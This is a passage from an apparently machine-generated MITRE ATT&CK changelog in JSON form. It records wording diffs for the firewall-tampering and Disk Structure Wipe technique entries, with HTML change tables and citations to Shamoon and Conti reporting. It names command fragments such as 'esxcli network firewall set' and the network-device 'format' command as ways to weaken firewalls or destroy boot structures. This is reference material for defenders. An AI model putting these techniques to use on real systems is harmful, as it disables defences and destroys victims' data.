                            "description": "The DFIR Report. (2022, March 1). \"Change RDP port\" #ContiLeaks. Retrieved September 12, 2024.",
                            "url": "https://x.com/TheDFIRReport/status/1498657772254240768"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": false,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "ESXi",
                        "Linux",
                        "macOS",
                        "Network Devices",
                        "Windows"
                    ],
                    "x_mitre_version": "1.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:12:22.539000+00:00\", \"old_value\": \"2026-05-12 15:12:00.723000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may disable or modify host-based or network firewalls to impair defensive mechanisms and enable further action. Once an adversary has gathered sufficient privileges, they can tamper with firewall services, policies, or rule sets to remove restrictions on inbound or outbound traffic. For example, this may include turning off firewall profiles, altering existing rules to permit previously blocked ports or protocols, or adding new rules that create covert communication paths (e.g., adding a new firewall rule for a well-known protocol (such as RDP) using a non-traditional and potentially less secure port).(Citation: change_rdp_port_conti)\\n\\nAdversaries may disable or modify firewalls using different behaviors, depending on the platform. For example, in ESXi, firewall rules may be modified directly via the esxcli (e.g., via esxcli network firewall set) or via the vCenter user interface.(Citation: Broadcom ESXi Firewall)(Citation: Trellix Rnasomhouse 2024)\", \"old_value\": \"Adversaries may disable or modify host-based or network firewalls to impair defensive mechanisms and enable further action. Once an adversary has gathered sufficient privileges, they can tamper with firewall services, policies, or rule sets to remove restrictions on inbound or outbound traffic. For example, this may include turning off firewall profiles, altering existing rules to permit previously blocked ports or protocols, or adding new rules that create covert communication paths (e.g., adding a new firewall rule for a well-known protocol (such as RDP) using a non-traditional and potentially less securitized port.(Citation: change_rdp_port_conti)\\n\\nAdversaries may disable or modify firewalls using different behaviors, depending on the platform. For example, in ESXi, firewall rules may be modified directly via the esxcli (e.g., via esxcli network firewall set) or via the vCenter user interface.(Citation: Broadcom ESXi Firewall)(Citation: Trellix Rnasomhouse 2024)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n-Adversaries may disable or modify host-based or network firewalls to impair defensive mechanisms and enable further action. Once an adversary has gathered sufficient privileges, they can tamper with firewall services, policies, or rule sets to remove restrictions on inbound or outbound traffic. For example, this may include turning off firewall profiles, altering existing rules to permit previously blocked ports or protocols, or adding new rules that create covert communication paths (e.g., adding a new firewall rule for a well-known protocol (such as RDP) using a non-traditional and potentially less securitized port.(Citation: change_rdp_port_conti)\\n+Adversaries may disable or modify host-based or network firewalls to impair defensive mechanisms and enable further action. Once an adversary has gathered sufficient privileges, they can tamper with firewall services, policies, or rule sets to remove restrictions on inbound or outbound traffic. For example, this may include turning off firewall profiles, altering existing rules to permit previously blocked ports or protocols, or adding new rules that create covert communication paths (e.g., adding a new firewall rule for a well-known protocol (such as RDP) using a non-traditional and potentially less secure port).(Citation: change_rdp_port_conti)\\n \\n Adversaries may disable or modify firewalls using different behaviors, depending on the platform. For example, in ESXi, firewall rules may be modified directly via the esxcli (e.g., via esxcli network firewall set) or via the vCenter user interface.(Citation: Broadcom ESXi Firewall)(Citation: Trellix Rnasomhouse 2024)\"}}}",
                    "previous_version": "1.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to8__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to8__0\"><a href=\"#difflib_chg_to8__top\">t</a></td><td class=\"diff_header\" id=\"from8_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;disable&nbsp;or&nbsp;modify&nbsp;host-based&nbsp;or&nbsp;network&nbsp;fire</td><td class=\"diff_next\"><a href=\"#difflib_chg_to8__top\">t</a></td><td class=\"diff_header\" id=\"to8_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;disable&nbsp;or&nbsp;modify&nbsp;host-based&nbsp;or&nbsp;network&nbsp;fire</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">walls&nbsp;to&nbsp;impair&nbsp;defensive&nbsp;mechanisms&nbsp;and&nbsp;enable&nbsp;further&nbsp;acti</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">walls&nbsp;to&nbsp;impair&nbsp;defensive&nbsp;mechanisms&nbsp;and&nbsp;enable&nbsp;further&nbsp;acti</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">on.&nbsp;Once&nbsp;an&nbsp;adversary&nbsp;has&nbsp;gathered&nbsp;sufficient&nbsp;privileges,&nbsp;th</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">on.&nbsp;Once&nbsp;an&nbsp;adversary&nbsp;has&nbsp;gathered&nbsp;sufficient&nbsp;privileges,&nbsp;th</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ey&nbsp;can&nbsp;tamper&nbsp;with&nbsp;firewall&nbsp;services,&nbsp;policies,&nbsp;or&nbsp;rule&nbsp;sets</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ey&nbsp;can&nbsp;tamper&nbsp;with&nbsp;firewall&nbsp;services,&nbsp;policies,&nbsp;or&nbsp;rule&nbsp;sets</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;to&nbsp;remove&nbsp;restrictions&nbsp;on&nbsp;inbound&nbsp;or&nbsp;outbound&nbsp;traffic.&nbsp;For&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;to&nbsp;remove&nbsp;restrictions&nbsp;on&nbsp;inbound&nbsp;or&nbsp;outbound&nbsp;traffic.&nbsp;For&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">example,&nbsp;this&nbsp;may&nbsp;include&nbsp;turning&nbsp;off&nbsp;firewall&nbsp;profiles,&nbsp;alt</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">example,&nbsp;this&nbsp;may&nbsp;include&nbsp;turning&nbsp;off&nbsp;firewall&nbsp;profiles,&nbsp;alt</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ering&nbsp;existing&nbsp;rules&nbsp;to&nbsp;permit&nbsp;previously&nbsp;blocked&nbsp;ports&nbsp;or&nbsp;p</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ering&nbsp;existing&nbsp;rules&nbsp;to&nbsp;permit&nbsp;previously&nbsp;blocked&nbsp;ports&nbsp;or&nbsp;p</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rotocols,&nbsp;or&nbsp;adding&nbsp;new&nbsp;rules&nbsp;that&nbsp;create&nbsp;covert&nbsp;communicati</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rotocols,&nbsp;or&nbsp;adding&nbsp;new&nbsp;rules&nbsp;that&nbsp;create&nbsp;covert&nbsp;communicati</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">on&nbsp;paths&nbsp;(e.g.,&nbsp;adding&nbsp;a&nbsp;new&nbsp;firewall&nbsp;rule&nbsp;for&nbsp;a&nbsp;well-known&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">on&nbsp;paths&nbsp;(e.g.,&nbsp;adding&nbsp;a&nbsp;new&nbsp;firewall&nbsp;rule&nbsp;for&nbsp;a&nbsp;well-known&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">protocol&nbsp;(such&nbsp;as&nbsp;RDP)&nbsp;using&nbsp;a&nbsp;non-traditional&nbsp;and&nbsp;potential</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">protocol&nbsp;(such&nbsp;as&nbsp;RDP)&nbsp;using&nbsp;a&nbsp;non-traditional&nbsp;and&nbsp;potential</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ly&nbsp;less&nbsp;secur<span class=\"diff_chg\">itized&nbsp;port</span>.(Citation:&nbsp;change_rdp_port_conti)&nbsp;&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ly&nbsp;less&nbsp;secur<span class=\"diff_chg\">e&nbsp;port)</span>.(Citation:&nbsp;change_rdp_port_conti)&nbsp;&nbsp;Adve</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;disable&nbsp;or&nbsp;modify&nbsp;firewalls&nbsp;using&nbsp;different&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rsaries&nbsp;may&nbsp;disable&nbsp;or&nbsp;modify&nbsp;firewalls&nbsp;using&nbsp;different&nbsp;beha</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">behaviors,&nbsp;depending&nbsp;on&nbsp;the&nbsp;platform.&nbsp;For&nbsp;example,&nbsp;in&nbsp;ESXi,&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">viors,&nbsp;depending&nbsp;on&nbsp;the&nbsp;platform.&nbsp;For&nbsp;example,&nbsp;in&nbsp;ESXi,&nbsp;fire</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">firewall&nbsp;rules&nbsp;may&nbsp;be&nbsp;modified&nbsp;directly&nbsp;via&nbsp;the&nbsp;esxcli&nbsp;(e.g.</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">wall&nbsp;rules&nbsp;may&nbsp;be&nbsp;modified&nbsp;directly&nbsp;via&nbsp;the&nbsp;esxcli&nbsp;(e.g.,&nbsp;vi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">,&nbsp;via&nbsp;esxcli&nbsp;network&nbsp;firewall&nbsp;set)&nbsp;or&nbsp;via&nbsp;the&nbsp;vCenter&nbsp;user&nbsp;i</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">a&nbsp;esxcli&nbsp;network&nbsp;firewall&nbsp;set)&nbsp;or&nbsp;via&nbsp;the&nbsp;vCenter&nbsp;user&nbsp;inter</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nterface.(Citation:&nbsp;Broadcom&nbsp;ESXi&nbsp;Firewall)(Citation:&nbsp;Trelli</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">face.(Citation:&nbsp;Broadcom&nbsp;ESXi&nbsp;Firewall)(Citation:&nbsp;Trellix&nbsp;Rn</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">x&nbsp;Rnasomhouse&nbsp;2024)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">asomhouse&nbsp;2024)</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1018: User Account Management",
                            "M1022: Restrict File and Directory Permissions",
                            "M1024: Restrict Registry Permissions",
                            "M1047: Audit"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0145: Detection of Disabled or Modified System Firewalls across OS Platforms."
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--0af0ca99-357d-4ba1-805f-674fdfb7bef9",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-02-20 22:10:20.484000+00:00",
                    "modified": "2026-11-03 21:59:50.203000+00:00",
                    "name": "Disk Structure Wipe",
                    "description": "Adversaries may corrupt or wipe the disk data structures on a hard drive necessary to boot a system; targeting specific critical systems or in large numbers in a network to interrupt availability to system and network resources. \n\nAdversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk. If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable. [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) may be performed in isolation, or along with [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) if all sectors of a disk are wiped.\n\nOn a network device, adversaries may reformat the file system using [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `format`.(Citation: format_cmd_cisco)\n\nTo maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "impact"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1561/002",
                            "external_id": "T1561.002"
                        },
                        {
                            "source_name": "format_cmd_cisco",
                            "description": "Cisco. (2022, August 16). format - Cisco IOS Configuration Fundamentals Command Reference. Retrieved July 13, 2022.",
                            "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/fundamentals/command/cf_command_ref/F_through_K.html#wp2829794668"
                        },
                        {
                            "source_name": "Unit 42 Shamoon3 2018",
                            "description": "Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.",
                            "url": "https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/"
                        },
                        {
                            "source_name": "Palo Alto Shamoon Nov 2016",
                            "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.",
                            "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/"
                        },
                        {
                            "source_name": "FireEye Shamoon Nov 2016",
                            "description": "FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved November 17, 2024.",
                            "url": "https://web.archive.org/web/20210126065851/https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html"
                        },
                        {
                            "source_name": "Kaspersky StoneDrill 2017",
                            "description": "Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.",
                            "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf"
                        },
                        {
                            "source_name": "Symantec Shamoon 2012",
                            "description": "Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March 14, 2019.",
                            "url": "https://www.symantec.com/connect/blogs/shamoon-attacks"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Austin Clark, @c2defense"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_impact_type": [
                        "Availability"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Linux",
                        "macOS",
                        "Network Devices",
                        "Windows"
                    ],
                    "x_mitre_version": "1.2",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 21:59:50.203000+00:00\", \"old_value\": \"2026-05-12 15:12:00.620000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may corrupt or wipe the disk data structures on a hard drive necessary to boot a system; targeting specific critical systems or in large numbers in a network to interrupt availability to system and network resources. \\n\\nAdversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk. If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable. [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) may be performed in isolation, or along with [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) if all sectors of a disk are wiped.\\n\\nOn a network device, adversaries may reformat the file system using [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `format`.(Citation: format_cmd_cisco)\\n\\nTo maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)\", \"old_value\": \"Adversaries may corrupt or wipe the disk data structures on a hard drive necessary to boot a system; targeting specific critical systems or in large numbers in a network to interrupt availability to system and network resources. \\n\\nAdversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk. If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable. [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) may be performed in isolation, or along with [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) if all sectors of a disk are wiped.\\n\\nOn a network devices, adversaries may reformat the file system using [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `format`.(Citation: format_cmd_cisco)\\n\\nTo maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)\", \"diff\": \"--- \\n+++ \\n@@ -2,6 +2,6 @@\\n \\n Adversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk. If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable. [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) may be performed in isolation, or along with [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) if all sectors of a disk are wiped.\\n \\n-On a network devices, adversaries may reformat the file system using [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `format`.(Citation: format_cmd_cisco)\\n+On a network device, adversaries may reformat the file system using [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `format`.(Citation: format_cmd_cisco)\\n \\n To maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)\"}}, \"iterable_item_removed\": {\"root['external_references'][6]\": {\"source_name\": \"Microsoft Sysmon v6 May 2017\", \"description\": \"Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.\", \"url\": \"https://docs.microsoft.com/sysinternals/downloads/sysmon\"}}}",
                    "previous_version": "1.2",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to153__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to153__0\"><a href=\"#difflib_chg_to153__top\">t</a></td><td class=\"diff_header\" id=\"from153_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;corrupt&nbsp;or&nbsp;wipe&nbsp;the&nbsp;disk&nbsp;data&nbsp;structures&nbsp;on&nbsp;</td><td class=\"diff_next\"><a href=\"#difflib_chg_to153__top\">t</a></td><td class=\"diff_header\" id=\"to153_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;corrupt&nbsp;or&nbsp;wipe&nbsp;the&nbsp;disk&nbsp;data&nbsp;structures&nbsp;on&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">a&nbsp;hard&nbsp;drive&nbsp;necessary&nbsp;to&nbsp;boot&nbsp;a&nbsp;system;&nbsp;targeting&nbsp;specific&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">a&nbsp;hard&nbsp;drive&nbsp;necessary&nbsp;to&nbsp;boot&nbsp;a&nbsp;system;&nbsp;targeting&nbsp;specific&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">critical&nbsp;systems&nbsp;or&nbsp;in&nbsp;large&nbsp;numbers&nbsp;in&nbsp;a&nbsp;network&nbsp;to&nbsp;interru</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">critical&nbsp;systems&nbsp;or&nbsp;in&nbsp;large&nbsp;numbers&nbsp;in&nbsp;a&nbsp;network&nbsp;to&nbsp;interru</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">pt&nbsp;availability&nbsp;to&nbsp;system&nbsp;and&nbsp;network&nbsp;resources.&nbsp;&nbsp;&nbsp;Adversari</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">pt&nbsp;availability&nbsp;to&nbsp;system&nbsp;and&nbsp;network&nbsp;resources.&nbsp;&nbsp;&nbsp;Adversari</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">es&nbsp;may&nbsp;attempt&nbsp;to&nbsp;render&nbsp;the&nbsp;system&nbsp;unable&nbsp;to&nbsp;boot&nbsp;by&nbsp;overwr</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">es&nbsp;may&nbsp;attempt&nbsp;to&nbsp;render&nbsp;the&nbsp;system&nbsp;unable&nbsp;to&nbsp;boot&nbsp;by&nbsp;overwr</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">iting&nbsp;critical&nbsp;data&nbsp;located&nbsp;in&nbsp;structures&nbsp;such&nbsp;as&nbsp;the&nbsp;master</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">iting&nbsp;critical&nbsp;data&nbsp;located&nbsp;in&nbsp;structures&nbsp;such&nbsp;as&nbsp;the&nbsp;master</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;boot&nbsp;record&nbsp;(MBR)&nbsp;or&nbsp;partition&nbsp;table.(Citation:&nbsp;Symantec&nbsp;Sh</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;boot&nbsp;record&nbsp;(MBR)&nbsp;or&nbsp;partition&nbsp;table.(Citation:&nbsp;Symantec&nbsp;Sh</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">amoon&nbsp;2012)(Citation:&nbsp;FireEye&nbsp;Shamoon&nbsp;Nov&nbsp;2016)(Citation:&nbsp;Pa</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">amoon&nbsp;2012)(Citation:&nbsp;FireEye&nbsp;Shamoon&nbsp;Nov&nbsp;2016)(Citation:&nbsp;Pa</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">lo&nbsp;Alto&nbsp;Shamoon&nbsp;Nov&nbsp;2016)(Citation:&nbsp;Kaspersky&nbsp;StoneDrill&nbsp;201</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">lo&nbsp;Alto&nbsp;Shamoon&nbsp;Nov&nbsp;2016)(Citation:&nbsp;Kaspersky&nbsp;StoneDrill&nbsp;201</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">7)(Citation:&nbsp;Unit&nbsp;42&nbsp;Shamoon3&nbsp;2018)&nbsp;The&nbsp;data&nbsp;contained&nbsp;in&nbsp;di</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">7)(Citation:&nbsp;Unit&nbsp;42&nbsp;Shamoon3&nbsp;2018)&nbsp;The&nbsp;data&nbsp;contained&nbsp;in&nbsp;di</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">sk&nbsp;structures&nbsp;may&nbsp;include&nbsp;the&nbsp;initial&nbsp;executable&nbsp;code&nbsp;for&nbsp;lo</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">sk&nbsp;structures&nbsp;may&nbsp;include&nbsp;the&nbsp;initial&nbsp;executable&nbsp;code&nbsp;for&nbsp;lo</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ading&nbsp;an&nbsp;operating&nbsp;system&nbsp;or&nbsp;the&nbsp;location&nbsp;of&nbsp;the&nbsp;file&nbsp;system</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ading&nbsp;an&nbsp;operating&nbsp;system&nbsp;or&nbsp;the&nbsp;location&nbsp;of&nbsp;the&nbsp;file&nbsp;system</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;partitions&nbsp;on&nbsp;disk.&nbsp;If&nbsp;this&nbsp;information&nbsp;is&nbsp;not&nbsp;present,&nbsp;the</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;partitions&nbsp;on&nbsp;disk.&nbsp;If&nbsp;this&nbsp;information&nbsp;is&nbsp;not&nbsp;present,&nbsp;the</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;computer&nbsp;will&nbsp;not&nbsp;be&nbsp;able&nbsp;to&nbsp;load&nbsp;an&nbsp;operating&nbsp;system&nbsp;durin</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;computer&nbsp;will&nbsp;not&nbsp;be&nbsp;able&nbsp;to&nbsp;load&nbsp;an&nbsp;operating&nbsp;system&nbsp;durin</td></tr>\n            <tr><td class=\"diff_next\"></td><td 